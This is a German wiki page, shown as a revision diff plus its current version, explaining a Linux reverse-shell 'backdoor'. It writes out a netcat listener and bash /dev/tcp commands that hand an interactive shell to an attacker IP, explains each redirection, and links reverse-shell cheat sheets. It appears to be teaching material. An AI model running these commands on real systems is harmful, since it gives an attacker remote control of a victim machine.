Linux Backdoor: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(12 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Angreifer=
=Angreifer=
IP Angreifer 10.0.10.101
IP Angreifer 10.0.10.101
*netcat -lp 8686
*netcat -lvp 8686
 
=Opfer=
=Opfer=
==So findet man es im Internet==
*bash -i >& /dev/tcp/10.0.10.101/8686 0>&1
*bash -i >& /dev/tcp/10.0.10.101/8686 0>&1
=bash -i=
==Für mich besser lesbar==
öffnet eine interaktive Shell
*bash -i 1> /dev/tcp/10.0.10.101/8686 2>&1 0>&1
 
Standardausgabe wird an den Socket gehängt
 
Standardfehler wird an die Standardausgabe angehängt
 
Standardeingabe wird an die Standardausgabe angehängt


=&>=
==bash -i > /dev/tcp/10.0.10.101/8686==
leitet die Standardausgabe und den Fehler auf den Socket um, der für die IP 10.0.10.101 geöffnet ist, die auf Port 8686 lauschen würde
Öffnet eine interaktive Shell und leitet die Standardausgabe den den Socket zu 10.0.10.101:8686
=0>&1=  
==2>&1==
Man kann es auch 0<&1 schreiben. Dies würde buchstäblich bedeuten, dass "0" an "1" angehängt ist, was bedeutet, dass stdin an stdout angehängt ist, und aus Punkt 2 wissen wir, dass die stdin für diesen Bash-Prozess für den Angreifer verfügbar ist, der Port 8686 abhört.
Legt den Fehlerkanal zum Standardausgabekanal
=Prinzip=
==0>&1==  
{{#drawio:backdoor1}}
Legt den Standardeingabekanal zum Standardausgabekanal


=Links=
=Links=
*http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
*http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
*https://www.revshells.com/

Aktuelle Version vom 3. Februar 2026, 16:45 Uhr

Angreifer

IP Angreifer 10.0.10.101

  • netcat -lvp 8686

Opfer

So findet man es im Internet

  • bash -i >& /dev/tcp/10.0.10.101/8686 0>&1

Für mich besser lesbar

  • bash -i 1> /dev/tcp/10.0.10.101/8686 2>&1 0>&1

Standardausgabe wird an den Socket gehängt

Standardfehler wird an die Standardausgabe angehängt

Standardeingabe wird an die Standardausgabe angehängt

bash -i > /dev/tcp/10.0.10.101/8686

Öffnet eine interaktive Shell und leitet die Standardausgabe den den Socket zu 10.0.10.101:8686

2>&1

Legt den Fehlerkanal zum Standardausgabekanal

0>&1

Legt den Standardeingabekanal zum Standardausgabekanal

Links